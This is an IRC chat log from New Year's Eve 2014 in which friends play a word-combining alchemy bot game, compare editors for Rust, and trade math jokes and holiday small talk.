[2014-12-31T21:55:16-0500] <alchemy> math and computer don't make anything exciting.
[2014-12-31T21:55:17-0500] <The_Master> @combine sentience genius
[2014-12-31T21:55:18-0500] <alchemy> sentience and genius don't make anything exciting.
[2014-12-31T21:55:26-0500] <The_Master> @combine sentience computer
[2014-12-31T21:55:27-0500] <alchemy> You already combined sentience and computer to get hal.
[2014-12-31T21:55:33-0500] <The_Master> @combine sentience math
[2014-12-31T21:55:34-0500] <alchemy> sentience and math don't make anything exciting.
[2014-12-31T21:55:47-0500] <alokpathy> Lol I'm watching The Three Stooges
[2014-12-31T21:55:58-0500] <The_Master> @combine sentience internet
[2014-12-31T21:55:59-0500] <alchemy> sentience and internet don't make anything exciting.
[2014-12-31T21:56:40-0500] <The_Master> @combine fire life
[2014-12-31T21:56:41-0500] <alchemy> You don't have life!
[2014-12-31T21:56:49-0500] <The_Master> @possible life
[2014-12-31T21:56:50-0500] <alchemy> No, you can't make life.
[2014-12-31T21:56:58-0500] <The_Master> @combine sentience fire
[2014-12-31T21:56:58-0500] <alchemy> sentience and fire don't make anything exciting.
[2014-12-31T21:59:03-0500] <@awe> LittleBobbyTables: you want to kick me 0.05 BTC?
[2014-12-31T22:00:33-0500] <@awe> JacobEdelman: or you?
[2014-12-31T22:08:32-0500] <+JacobEdelman> I'm here
[2014-12-31T22:08:34-0500] <+JacobEdelman> and no
[2014-12-31T22:08:37-0500] <+JacobEdelman> sorry
[2014-12-31T22:08:49-0500] <+JacobEdelman> I have no idea how to access my small fraction
[2014-12-31T22:08:57-0500] <+JacobEdelman> of a bitcoin
[2014-12-31T22:08:57-0500] <+JacobEdelman> also
[2014-12-31T22:09:05-0500] <+JacobEdelman> my syblings and I
[2014-12-31T22:09:08-0500] <+JacobEdelman> are watching mud
[2014-12-31T22:09:15-0500] <+JacobEdelman> for those who are interested
[2014-12-31T22:09:47-0500] <@awe> You don't know how to access it? What?
[2014-12-31T22:09:57-0500] <+JacobEdelman> theres an account number
[2014-12-31T22:09:59-0500] <+JacobEdelman> or someting
[2014-12-31T22:10:02-0500] <+JacobEdelman> on a scrap of paper
[2014-12-31T22:10:04-0500] <+JacobEdelman> smewhaere
[2014-12-31T22:10:07-0500] <+JacobEdelman> *somewhere
[2014-12-31T22:10:11-0500] <+JacobEdelman> I think
[2014-12-31T22:10:17-0500] <+JacobEdelman> maybe a number and password?
[2014-12-31T22:10:20-0500] <+JacobEdelman> I have no idea
[2014-12-31T22:26:49-0500] <+JacobEdelman> I'm back
[2014-12-31T22:27:05-0500] <alokpathy> You missed a lot
[2014-12-31T22:30:19-0500] <+JacobEdelman> you mean nohing
[2014-12-31T22:31:20-0500] <+hardmath123> Another few hours of 2014.
[2014-12-31T22:31:50-0500] <+hardmath123> Gosh, January's going to be all me writing "January Nth, 2014waitnoit's15sorry"
[2014-12-31T22:34:20-0500] <alokpathy> hardmath123: For you :P
[2014-12-31T22:34:24-0500] <alokpathy> an hour and a half for us
[2014-12-31T22:35:53-0500] <+hardmath123> *sigh*
[2014-12-31T22:35:59-0500] <+hardmath123> 2014 was a kind of exciting year.
[2014-12-31T22:43:07-0500] <Tamini_> did you kids find stuff?
[2014-12-31T22:43:17-0500] <alokpathy> @list
[2014-12-31T22:43:18-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2014-12-31T22:43:18-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2014-12-31T22:43:18-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2014-12-31T22:43:18-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2014-12-31T22:43:18-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T22:43:18-0500] <alchemy> That's 87 out of 128!
[2014-12-31T22:44:35-0500] <alokpathy> Tamini_: I don't think so
[2014-12-31T22:44:59-0500] <Tamini_> :(
[2014-12-31T22:45:08-0500] <Tamini_> you kids cant do anything without me? ;)
[2014-12-31T22:45:46-0500] <alokpathy> We didn't exactly try xD
[2014-12-31T22:46:02-0500] <Tamini_> wow ok
[2014-12-31T22:46:03-0500] <alokpathy> Tamini_: We can start trying again
[2014-12-31T22:46:06-0500] <Tamini_> dont let me feel good k
[2014-12-31T22:46:10-0500] <Tamini_> i gotta run tho :<
[2014-12-31T22:47:45-0500] <alokpathy> :(
[2014-12-31T22:51:47-0500] <+hardmath123> :(
[2014-12-31T22:52:49-0500] <@awe> Oh god.
[2014-12-31T22:52:52-0500] <@awe> I bought Starbound
[2014-12-31T22:53:04-0500] <@awe> But the saves are not compatible somehow.
[2014-12-31T22:53:10-0500] <alokpathy> Uh oh
[2014-12-31T22:57:11-0500] <alokpathy> awe: Good Rust tutorial?
[2014-12-31T22:57:16-0500] <@awe> alokpathy: the official one is pretty good.
[2014-12-31T22:57:31-0500] <@awe> http://doc.rust-lang.org/guide.html
[2014-12-31T22:58:16-0500] <+JacobEdelman> hello
[2014-12-31T22:58:22-0500] <@awe> hi JacobEdelman 
[2014-12-31T22:59:41-0500] <alokpathy> Ah okay
[2014-12-31T22:59:42-0500] <alokpathy> Thanks.
[2014-12-31T22:59:56-0500] <+JacobEdelman> so
[2014-12-31T23:00:06-0500] <+JacobEdelman> new years resolutions?
[2014-12-31T23:00:47-0500] <@awe> I don't believe in new years resolutions.
[2014-12-31T23:01:06-0500] <alokpathy> JacobEdelman: I can never keep them LOL
[2014-12-31T23:01:13-0500] <@awe> alokpathy: neither can anyone else.
[2014-12-31T23:01:54-0500] <+JacobEdelman> heres a good one: count to ten
[2014-12-31T23:02:04-0500] <+JacobEdelman> tat one I bet yu could keep
[2014-12-31T23:02:13-0500] <alokpathy> JacobEdelman: You can't keep that :P
[2014-12-31T23:02:28-0500] <+JacobEdelman> 1 2 3 4 5 6 7 10
[2014-12-31T23:02:29-0500] <+JacobEdelman> there
[2014-12-31T23:02:34-0500] <+JacobEdelman> done!
[2014-12-31T23:02:39-0500] <alokpathy> JacobEdelman: Nope
[2014-12-31T23:02:42-0500] <+JacobEdelman> oh
[2014-12-31T23:02:45-0500] <alokpathy> 5, 6, 7, and 10 don't exist for you.
[2014-12-31T23:02:47-0500] <+JacobEdelman> 1 2 3 6 7 8 9 10
[2014-12-31T23:02:53-0500] <+JacobEdelman> oh yeah
[2014-12-31T23:02:58-0500] <+JacobEdelman> but I can still count them
[2014-12-31T23:03:04-0500] <alokpathy> It's all infinity. 
[2014-12-31T23:03:06-0500] <+JacobEdelman> they just have no meanning
[2014-12-31T23:03:09-0500] <+JacobEdelman> correct
[2014-12-31T23:03:19-0500] <alokpathy> You just drew some random symbol.
[2014-12-31T23:03:23-0500] <+JacobEdelman> correct
[2014-12-31T23:03:28-0500] <+JacobEdelman> well, type in this case
[2014-12-31T23:03:35-0500] <+hardmath123> it  depends on your radix
[2014-12-31T23:03:43-0500] <+hardmath123> Jacob thinks in octal.
[2014-12-31T23:03:51-0500] <+JacobEdelman> nope
[2014-12-31T23:03:56-0500] <+JacobEdelman> its just that
[2014-12-31T23:04:02-0500] <+JacobEdelman> I don't believe in numbers 
[2014-12-31T23:04:06-0500] <+JacobEdelman> larger than 4
[2014-12-31T23:04:17-0500] <+JacobEdelman> hence my love of theoretical computer science
[2014-12-31T23:07:22-0500] <+hardmath123> alokpathy: Tamini_: JacobEdelman: Competition math folks need to memorize that 2015 = 5 * 13 * 31.
[2014-12-31T23:07:56-0500] <Tamini_> yep, i know :)
[2014-12-31T23:08:02-0500] <Tamini_> its my fb status every year
[2014-12-31T23:08:09-0500] <alokpathy> JacobEdelman: Guess what the size of each subset was in the median of medians algorithm?
[2014-12-31T23:08:11-0500] <alokpathy> JacobEdelman: 5 :P
[2014-12-31T23:08:19-0500] <+JacobEdelman> what
[2014-12-31T23:08:21-0500] <alokpathy> hardmath123: Got it LOL
[2014-12-31T23:08:21-0500] <+JacobEdelman> I'm confused
[2014-12-31T23:08:43-0500] <alokpathy> JacobEdelman: en.wikipedia.org/wiki/Selection_algorithm
[2014-12-31T23:08:46-0500] <alokpathy> JacobEdelman: We did it with Gandhi
[2014-12-31T23:09:28-0500] <+JacobEdelman> I remember that
[2014-12-31T23:09:28-0500] <alokpathy> I don't remember the exact algorithm, but I remember we divided stuff into groups of 5
[2014-12-31T23:09:32-0500] <+JacobEdelman> oh yeah
[2014-12-31T23:09:33-0500] <+JacobEdelman> that
[2014-12-31T23:09:36-0500] <+JacobEdelman> but  3 works
[2014-12-31T23:09:43-0500] <alokpathy> But we did 5 :P
[2014-12-31T23:09:45-0500] <+JacobEdelman> and so does 2, I think
[2014-12-31T23:09:50-0500] <+JacobEdelman> well, we did it wrong
[2014-12-31T23:09:51-0500] <alokpathy> Were you completely lost?
[2014-12-31T23:09:57-0500] <+JacobEdelman> yes
[2014-12-31T23:10:03-0500] <+JacobEdelman> we were slecting infinite lists
[2014-12-31T23:10:06-0500] <alokpathy> Also I think input sizes are usually greater than 4
[2014-12-31T23:10:06-0500] <+JacobEdelman> it was weird
[2014-12-31T23:10:33-0500] <+JacobEdelman> I don't tink they had to be
[2014-12-31T23:10:56-0500] <alokpathy> Input sizes?
[2014-12-31T23:11:04-0500] <+JacobEdelman> correct
[2014-12-31T23:11:09-0500] <+JacobEdelman> I think if we used 2
[2014-12-31T23:11:19-0500] <alokpathy> Oh, no
[2014-12-31T23:11:21-0500] <alokpathy> I meant 
[2014-12-31T23:11:25-0500] <alokpathy> input sizes to any problem
[2014-12-31T23:11:26-0500] <+JacobEdelman> oh
[2014-12-31T23:11:30-0500] <+JacobEdelman> true
[2014-12-31T23:11:33-0500] <+JacobEdelman> but thats just n
[2014-12-31T23:11:37-0500] <+JacobEdelman> and n is not a number
[2014-12-31T23:12:04-0500] <alokpathy> I will find an example.
[2014-12-31T23:12:07-0500] <alokpathy> Can't be that hard.
[2014-12-31T23:12:07-0500] <alokpathy> Hm.
[2014-12-31T23:12:09-0500] <+JacobEdelman> good luck
[2014-12-31T23:17:01-0500] <+JacobEdelman> well, wow alokpathy tries a useless task that can never succeed
[2014-12-31T23:17:07-0500] <+JacobEdelman> the rest of us can party
[2014-12-31T23:17:15-0500] <alokpathy> whiel*
[2014-12-31T23:17:16-0500] <alokpathy> while**
[2014-12-31T23:19:39-0500] <alokpathy> JacobEdelman: I am 100% sure we've used a number greater than 4
[2014-12-31T23:19:44-0500] <alokpathy> I just don't remember.
[2014-12-31T23:21:04-0500] <+JacobEdelman> nah
[2014-12-31T23:21:11-0500] <+JacobEdelman> we didn't
[2014-12-31T23:23:02-0500] <+JacobEdelman> so, who else is celebrating new years hear?
[2014-12-31T23:23:13-0500] <+hardmath123> I would, but you'll all be gone.
[2014-12-31T23:24:18-0500] <+JacobEdelman> maybe not all of us
[2014-12-31T23:24:19-0500] <alokpathy> :(
[2014-12-31T23:24:34-0500] <+JacobEdelman> hardmath123: youre not doing anything for new years I guess
[2014-12-31T23:24:40-0500] <alokpathy> hardmath123: You can pretend it's 2015 in 36 minutes
[2014-12-31T23:24:54-0500] <+hardmath123> Yeah, I think I will.
[2014-12-31T23:25:47-0500] <alokpathy> hardmath123: Do you usually sleep before 12?
[2014-12-31T23:26:28-0500] <+hardmath123> alokpathy: yes.
[2014-12-31T23:26:45-0500] <+JacobEdelman> I normally do
[2014-12-31T23:26:52-0500] <+JacobEdelman> but winter break and all
[2014-12-31T23:27:28-0500] <alokpathy> hardmath123: So you can pretend it's 2015 at 9pm and sleep normally :D
[2014-12-31T23:27:53-0500] <+hardmath123> Yes.
[2014-12-31T23:34:48-0500] <+JacobEdelman> awe: you online
[2014-12-31T23:34:58-0500] <+JacobEdelman> Tamini_: you still online?
[2014-12-31T23:35:03-0500] <+JacobEdelman> LittleBobbyTables: you online?
[2014-12-31T23:35:25-0500] <Tamini_> yea
[2014-12-31T23:35:30-0500] <Tamini_> wow i thought you loved me
[2014-12-31T23:35:36-0500] <Tamini_> you just masspinged
[2014-12-31T23:36:01-0500] <+hardmath123> We wanted you with us?
[2014-12-31T23:37:06-0500] <+JacobEdelman> na
[2014-12-31T23:37:12-0500] <+JacobEdelman> I was pinging you
[2014-12-31T23:37:15-0500] <+JacobEdelman> I wanted to know
[2014-12-31T23:37:25-0500] <+JacobEdelman> if you are spending new years with us
[2014-12-31T23:37:51-0500] <+JacobEdelman> on pdgn :) ?
[2014-12-31T23:40:27-0500] <@awe> JacobEdelman: I'm here, yeah.
[2014-12-31T23:41:44-0500] <+JacobEdelman> who you spending new years with? your gf?
[2014-12-31T23:42:11-0500] <alokpathy> awe: Uh is there an editor that has syntax highlighting for Rust?
[2014-12-31T23:42:15-0500] <@awe> vim
[2014-12-31T23:42:16-0500] <+JacobEdelman> atom
[2014-12-31T23:42:47-0500] <@awe> emacs
[2014-12-31T23:42:55-0500] <+JacobEdelman> ummm... nano?
[2014-12-31T23:43:04-0500] <alokpathy> I tried all those aside from emacs LOL
[2014-12-31T23:43:05-0500] <+hardmath123> no, not nano, iirc
[2014-12-31T23:43:07-0500] <alokpathy> Maybe I'm doing this wrong
[2014-12-31T23:43:12-0500] <alokpathy> fn wasn't highlighting
[2014-12-31T23:43:15-0500] <+JacobEdelman> use atom
[2014-12-31T23:43:19-0500] <+JacobEdelman> atom is good
[2014-12-31T23:43:31-0500] <+hardmath123> atom is slow
[2014-12-31T23:43:42-0500] <+hardmath123> vim is very lightweight
[2014-12-31T23:44:26-0500] <+JacobEdelman> atom is only slow to start up
[2014-12-31T23:44:35-0500] <+JacobEdelman> once started it is better
[2014-12-31T23:45:03-0500] <+hardmath123> well
[2014-12-31T23:45:04-0500] <+hardmath123> no
[2014-12-31T23:45:09-0500] <+hardmath123> not for big files
[2014-12-31T23:45:11-0500] <alokpathy> Wait, do I need a plugin?
[2014-12-31T23:45:13-0500] <+JacobEdelman> true
[2014-12-31T23:45:13-0500] <alokpathy> 'cause I found this https://github.com/junegunn/rust.vim
[2014-12-31T23:45:22-0500] <+JacobEdelman> for vim or atom?
[2014-12-31T23:45:25-0500] <+hardmath123> and you need lots of extensions if you want to get stuff done
[2014-12-31T23:45:27-0500] <+JacobEdelman> for atom you may need a package
[2014-12-31T23:45:35-0500] <+JacobEdelman> its easy to get a package in atom
[2014-12-31T23:45:36-0500] <+hardmath123> as for vim
[2014-12-31T23:46:54-0500] <alokpathy> awe: Do I need a plugin for syntax highlighting? e.g. https://github.com/junegunn/rust.vim
[2014-12-31T23:47:00-0500] <alokpathy> or am I just being dumb?
[2014-12-31T23:47:10-0500] <@awe> rust.vim
[2014-12-31T23:47:10-0500] <@awe> yeah.
[2014-12-31T23:47:18-0500] <alokpathy> Oh okay
[2014-12-31T23:47:34-0500] <+hardmath123> it's preatty easy with pathogen
[2014-12-31T23:49:28-0500] <+JacobEdelman> awe: you didn't answer my question
[2014-12-31T23:49:42-0500] <@awe> JacobEdelman: yes, I'm with Lauren.
[2014-12-31T23:49:49-0500] <+JacobEdelman> ah, guessed it
[2014-12-31T23:49:57-0500] <+JacobEdelman> tell her a random person named jacob says hi
[2014-12-31T23:51:03-0500] <alokpathy> awe: Tell her I said hi :P
[2014-12-31T23:55:24-0500] <+hardmath123> 5 minutes (I'm pretending to be on the east coast)
[2014-12-31T23:55:45-0500] <alokpathy> Welcome :P
[2014-12-31T23:55:48-0500] <alokpathy> Oh yeah 5 minutes
[2014-12-31T23:56:12-0500] <+hardmath123> @list
[2014-12-31T23:56:12-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2014-12-31T23:56:12-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2014-12-31T23:56:12-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2014-12-31T23:56:12-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2014-12-31T23:56:12-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2014-12-31T23:56:12-0500] <alchemy> That's 87 out of 128!
[2014-12-31T23:56:52-0500] <+hardmath123> @refresh
[2014-12-31T23:56:52-0500] <alchemy> Refreshing...
[2014-12-31T23:56:52-0500] <alchemy> Done.
[2014-12-31T23:56:58-0500] <+hardmath123> Added a new years' greeting.
[2014-12-31T23:57:11-0500] <alokpathy> woo
[2015-01-01T00:00:17-0500] <+hardmath123> Yaaaaaaay.
[2015-01-01T00:00:22-0500] <ubuntor> yay
[2015-01-01T00:00:28-0500] <alokpathy> wooo
[2015-01-01T00:00:34-0500] <alokpathy> @newyear
[2015-01-01T00:00:37-0500] <alokpathy> @greeting
[2015-01-01T00:00:40-0500] <alokpathy> @help
[2015-01-01T00:00:41-0500] <alchemy> To mix a new brew: `@combine <element> <element>`
[2015-01-01T00:00:41-0500] <alchemy> To list your elements: `@list`
[2015-01-01T00:00:41-0500] <alchemy> Also try `@encourage`, `@possible`, and `@hint`.
[2015-01-01T00:00:43-0500] <+hardmath123> umm
[2015-01-01T00:00:45-0500] <+hardmath123> it was more subtle
[2015-01-01T00:00:46-0500] <alokpathy> alchemy: :(
[2015-01-01T00:00:50-0500] <alokpathy> lolwut
[2015-01-01T00:00:55-0500] <ubuntor> @list
[2015-01-01T00:00:56-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T00:00:56-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2015-01-01T00:00:56-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2015-01-01T00:00:56-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2015-01-01T00:00:56-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2015-01-01T00:00:56-0500] <alchemy> That's 87 out of 130!
[2015-01-01T00:00:57-0500] <+hardmath123> time + time = tomorrow
[2015-01-01T00:01:02-0500] <alokpathy> Oh LOL
[2015-01-01T00:01:07-0500] <+hardmath123> and tomorrow + sentience = hope :)
[2015-01-01T00:01:30-0500] <Tamini_> happy new year :)
[2015-01-01T00:03:33-0500] <+JacobEdelman> happy new years
[2015-01-01T00:03:38-0500] <+JacobEdelman> @combine time time
[2015-01-01T00:03:39-0500] <alchemy> You don't have time!
[2015-01-01T00:03:41-0500] <+JacobEdelman> ahh
[2015-01-01T00:03:47-0500] <+JacobEdelman> @combien energy energy
[2015-01-01T00:03:50-0500] <+JacobEdelman> @combien energy space
[2015-01-01T00:04:00-0500] <+JacobEdelman> @combine energy energy
[2015-01-01T00:04:01-0500] <alchemy> You already combined energy and energy to get light.
[2015-01-01T00:04:04-0500] <alokpathy> @possible time
[2015-01-01T00:04:04-0500] <+JacobEdelman> @combine energy space
[2015-01-01T00:04:05-0500] <alchemy> Yeah, you can make time.
[2015-01-01T00:04:06-0500] <alchemy> You don't have space!
[2015-01-01T00:04:09-0500] <+JacobEdelman> @combine energy light
[2015-01-01T00:04:10-0500] <alchemy> energy and light don't make anything exciting.
[2015-01-01T00:05:10-0500] <+JacobEdelman> its 2014
[2015-01-01T00:05:14-0500] <+JacobEdelman> wow
[2015-01-01T00:05:17-0500] <+JacobEdelman> thats a bad typo
[2015-01-01T00:05:20-0500] <+JacobEdelman> 2015
[2015-01-01T00:05:27-0500] <+JacobEdelman> and the first thing I am doing
[2015-01-01T00:05:39-0500] <+JacobEdelman> is playing alchemy and watching the west wing
[2015-01-01T00:06:55-0500] <ubuntor> @possible space
[2015-01-01T00:06:56-0500] <alchemy> No, you can't make space.
[2015-01-01T00:07:08-0500] <ubuntor> @combine energy math
[2015-01-01T00:07:08-0500] <alchemy> energy and math don't make anything exciting.
[2015-01-01T00:07:22-0500] <+JacobEdelman> ah, happy new years ubuntor
[2015-01-01T00:07:38-0500] <+JacobEdelman> your spending it on pdgn?
[2015-01-01T00:07:52-0500] <ubuntor> i guess?
[2015-01-01T00:07:57-0500] <ubuntor> don't have a party
[2015-01-01T00:08:53-0500] <+JacobEdelman> parties are for wimps
[2015-01-01T00:08:56-0500] <+JacobEdelman> or normal people
[2015-01-01T00:08:58-0500] <alokpathy> Even if you did, you would spent it on pdgn I'm sure :P
[2015-01-01T00:09:21-0500] <Tamini_> wow
[2015-01-01T00:09:25-0500] <Tamini_> are you calling me a wimp
[2015-01-01T00:09:31-0500] <+JacobEdelman> yes
[2015-01-01T00:09:40-0500] <Tamini_> im not drinking its ok
[2015-01-01T00:10:01-0500] <ubuntor> lol
[2015-01-01T00:10:03-0500] <+JacobEdelman> ... are people drinking at that party (people who are younger than 21)
[2015-01-01T00:10:06-0500] <+JacobEdelman> ?
[2015-01-01T00:11:55-0500] <alokpathy> :|
[2015-01-01T00:15:33-0500] <Tamini_> maybe
[2015-01-01T00:16:18-0500] <ubuntor> rip
[2015-01-01T00:16:26-0500] <alokpathy> Lol hardmath123's sitting here like 
[2015-01-01T00:16:35-0500] <alokpathy> "Yes happy new year [doesn't look at clock]"
[2015-01-01T00:17:37-0500] <+JacobEdelman> ha
[2015-01-01T00:18:07-0500] <+JacobEdelman> Tamini_: in that case your only half a wimp for going to the party in the first place
[2015-01-01T00:18:23-0500] <+JacobEdelman> of course, my definition of wimp is almost the polar opposite of anybody elses
[2015-01-01T00:30:20-0500] <+hardmath123> *sigh*
[2015-01-01T00:31:41-0500] <+hardmath123> They say it's New Year's Day.
[2015-01-01T00:31:42-0500] <+hardmath123> But the sky is still gray. I don't mean to wallow but I feel sort of hollow
[2015-01-01T00:31:42-0500] <+hardmath123> As childhood melts away.
[2015-01-01T00:35:51-0500] <+JacobEdelman> thats sad
[2015-01-01T00:36:13-0500] <+JacobEdelman> but to put it in perspective
[2015-01-01T00:36:41-0500] <alokpathy> :(
[2015-01-01T00:36:44-0500] <+JacobEdelman> I have an uncle, who is ~50 years old, and he still is a kid
[2015-01-01T00:37:03-0500] <+JacobEdelman> he offered my younger cousin, who is 9, 10 dollars NOT to do her home work
[2015-01-01T00:37:19-0500] <+JacobEdelman> so, you still have several decades left of childhood, if you want them
[2015-01-01T00:37:29-0500] <+JacobEdelman> I mean, the main reason to get out of school
[2015-01-01T00:37:36-0500] <+JacobEdelman> is so you can get back to having fun
[2015-01-01T00:38:18-0500] <+JacobEdelman> young children have it right
[2015-01-01T00:38:36-0500] <+JacobEdelman> but that doesn't mean
[2015-01-01T00:38:41-0500] <+JacobEdelman> that we can't have
[2015-01-01T00:38:45-0500] <+JacobEdelman> it right too
[2015-01-01T00:38:52-0500] <+JacobEdelman> right?
[2015-01-01T00:38:53-0500] <+JacobEdelman> :)
[2015-01-01T00:39:27-0500] <+JacobEdelman> (wow, I feel all poetical after that)
[2015-01-01T00:39:39-0500] <+JacobEdelman> (back to being irreverent and generally inane)
[2015-01-01T00:40:08-0500] <+JacobEdelman> .... hardmath123: you went to sleep didn't you
[2015-01-01T00:40:34-0500] <+JacobEdelman> (also, I suck at poetry)
[2015-01-01T00:40:36-0500] <+JacobEdelman> (alot)
[2015-01-01T00:40:37-0500] <+JacobEdelman> gnight
[2015-01-01T00:47:02-0500] <Tamini_> hardmath123: do you need us to stay up for you
[2015-01-01T00:47:09-0500] <Tamini_> lol
[2015-01-01T00:50:11-0500] <+JacobEdelman> gnight again
[2015-01-01T00:50:27-0500] <alokpathy> G'night
[2015-01-01T00:52:50-0500] <+hardmath123> No
[2015-01-01T00:52:53-0500] <+hardmath123> you guys can sleep
[2015-01-01T00:52:58-0500] <+hardmath123> if you want
[2015-01-01T01:01:41-0500] <Tamini_> lol
[2015-01-01T01:01:48-0500] <Tamini_> ill be up if you need me
[2015-01-01T01:01:52-0500] <+hardmath123> :)
[2015-01-01T01:05:19-0500] <bob_twinkles> llol/b 3
[2015-01-01T01:05:21-0500] <bob_twinkles> whups
[2015-01-01T01:05:28-0500] <bob_twinkles> what even?
[2015-01-01T01:10:29-0500] <@awe> hardmath123: I'll stay up for you anyway.
[2015-01-01T01:10:32-0500] <@awe> hardmath123: because I never sleep.
[2015-01-01T01:11:40-0500] <Tamini_> lol
[2015-01-01T01:12:27-0500] <Tamini_> bob_twinkles: happy new year from the group
[2015-01-01T01:28:32-0500] <bob_twinkles> heh
[2015-01-01T01:30:48-0500] <+hardmath123> There is currently someone on my blog who was referred from the site http://с.новым.годом.рф
[2015-01-01T01:31:13-0500] <alokpathy> Happy new year to him, too.
[2015-01-01T01:31:54-0500] <+hardmath123> how is that a valid URL?!
[2015-01-01T01:37:56-0500] <@awe> hardmath123: recent standards changes for foreign TLDs
[2015-01-01T01:39:22-0500] <bob_twinkles> i18n
[2015-01-01T01:39:30-0500] <@awe> Yeah, that.
[2015-01-01T02:00:41-0500] <Tamini_> lol
[2015-01-01T02:00:58-0500] <Tamini_> i just got home
[2015-01-01T02:02:41-0500] <+hardmath123> late-night party animals
[2015-01-01T02:09:06-0500] <Tamini_> heh
[2015-01-01T02:09:14-0500] <Tamini_> me, obviously a party animal
[2015-01-01T02:10:07-0500] <+hardmath123> clearly
[2015-01-01T02:12:25-0500] <Tamini_> well
[2015-01-01T02:12:33-0500] <Tamini_> ill end the day with a little alchemy :P
[2015-01-01T02:12:35-0500] <Tamini_> @list
[2015-01-01T02:12:36-0500] <alchemy> You have: aaron, air, alok, alokmini, ashley, backstroke, blackhat, boat, chivalry, cloud, computer, crops, earth, einstein, electricity, energy, engine, ent, euler, evil
[2015-01-01T02:12:36-0500] <alchemy> You have: fire, fireman, friendship, genius, gmo, google, hacker, hal, hole, house, ice, internet, jacob, joy, knight, lava, light, lightning, lightsaber, linux
[2015-01-01T02:12:36-0500] <alchemy> You have: love, loveletter, man, math, megamind, mel, metal, mountain, neanderthal, nexorg, ocean, olaf, paper, pdgn, penguin, plant, pool, puddle, python, rain
[2015-01-01T02:12:36-0500] <alchemy> You have: rainbow, robot, rust, sandstorm, science, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder, tool, tornado, torvalds, tree
[2015-01-01T02:12:36-0500] <alchemy> You have: tsunami, villain, water, whitehat, whitespace, wind, wood
[2015-01-01T02:12:36-0500] <alchemy> That's 87 out of 130!
[2015-01-01T02:12:45-0500] <Tamini_> @combine genius food
[2015-01-01T02:12:45-0500] <alchemy> You don't have food!
[2015-01-01T02:12:50-0500] <Tamini_> @combine genius crops
[2015-01-01T02:12:51-0500] <alchemy> genius and crops don't make anything exciting.
[2015-01-01T02:13:01-0500] <Tamini_> @combine genius pdgn
[2015-01-01T02:13:02-0500] <alchemy> You already combined genius and pdgn to get ashley.
[2015-01-01T02:13:12-0500] <Tamini_> @combine genius chivalry
[2015-01-01T02:13:13-0500] <alchemy> genius and chivalry don't make anything exciting.
[2015-01-01T02:13:19-0500] <Tamini_> give me a hint for hardmath123
[2015-01-01T02:13:54-0500] <Tamini_> @combine math man
[2015-01-01T02:13:55-0500] <alchemy> math and man don't make anything exciting.
[2015-01-01T02:14:04-0500] <Tamini_> @combine math evil
[2015-01-01T02:14:05-0500] <alchemy> math and evil don't make anything exciting.
[2015-01-01T02:14:08-0500] <Tamini_> @combine math pdgn
[2015-01-01T02:14:08-0500] <alchemy> math and pdgn don't make anything exciting.
[2015-01-01T02:14:29-0500] <Tamini_> @hint
[2015-01-01T02:14:29-0500] <alchemy> You'll be happier if you get it yourself.
[2015-01-01T02:14:33-0500] <Tamini_> @combine tool wood
[2015-01-01T02:14:34-0500] <alchemy> You already combined tool and wood to get house.
[2015-01-01T02:14:39-0500] <Tamini_> @combine wood metal
[2015-01-01T02:14:39-0500] <alchemy> wood and metal don't make anything exciting.
[2015-01-01T02:14:42-0500] <Tamini_> @combine wood wood
[2015-01-01T02:14:43-0500] <alchemy> wood and wood don't make anything exciting.
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[2015-01-01T02:14:47-0500] <Tamini_> @combine wood sword
[2015-01-01T02:14:47-0500] <alchemy> wood and sword don't make anything exciting.
[2015-01-01T02:14:53-0500] <Tamini_> @combine tree sword
[2015-01-01T02:14:53-0500] <alchemy> tree and sword don't make anything exciting.
[2015-01-01T02:16:12-0500] <Tamini_> @combine energy energy
[2015-01-01T02:16:13-0500] <alchemy> You already combined energy and energy to get light.
[2015-01-01T02:16:19-0500] <Tamini_> @combine energy science
[2015-01-01T02:16:20-0500] <alchemy> energy and science don't make anything exciting.
[2015-01-01T02:16:27-0500] <Tamini_> @combine science science
[2015-01-01T02:16:27-0500] <alchemy> science and science don't make anything exciting.
[2015-01-01T02:16:33-0500] <Tamini_> @combine einstein science
[2015-01-01T02:16:33-0500] <alchemy> einstein and science don't make anything exciting.
[2015-01-01T02:16:36-0500] <Tamini_> @lost
[2015-01-01T02:16:38-0500] <Tamini_> @list
